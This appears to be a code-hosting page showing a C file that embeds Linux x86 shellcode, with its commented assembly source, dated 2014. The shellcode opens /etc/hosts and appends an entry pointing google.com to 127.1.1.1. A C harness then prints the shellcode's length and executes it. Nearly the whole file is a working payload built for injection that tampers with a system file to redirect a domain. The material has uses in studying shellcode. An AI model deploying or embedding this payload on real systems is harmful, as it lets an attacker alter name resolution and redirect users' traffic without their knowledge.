63 lines
No EOL
1.3 KiB
C
63 lines
No EOL
1.3 KiB
C
/**
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;modify_hosts.asm
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;this program add a new entry in hosts file pointing google.com to 127.1.1.1
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;author Javier Tejedor
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;date 24/09/2014
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global _start
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section .text
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_start:
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xor ecx, ecx
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mul ecx
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mov al, 0x5
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push ecx
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push 0x7374736f ;/etc///hosts
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push 0x682f2f2f
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push 0x6374652f
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mov ebx, esp
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mov cx, 0x401 ;permmisions
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int 0x80 ;syscall to open file
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xchg eax, ebx
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push 0x4
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pop eax
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jmp short _load_data ;jmp-call-pop technique to load the map
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_write:
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pop ecx
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push 20 ;length of the string, dont forget to modify if changes the map
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pop edx
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int 0x80 ;syscall to write in the file
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push 0x6
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pop eax
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int 0x80 ;syscall to close the file
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push 0x1
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pop eax
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int 0x80 ;syscall to exit
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_load_data:
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call _write
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google db "127.1.1.1 google.com"
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**/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x6f\x73\x74\x73\x68\x2f\x2f\x2f\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x93\x6a\x04\x58\xeb\x10\x59\x6a\x14\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xeb\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |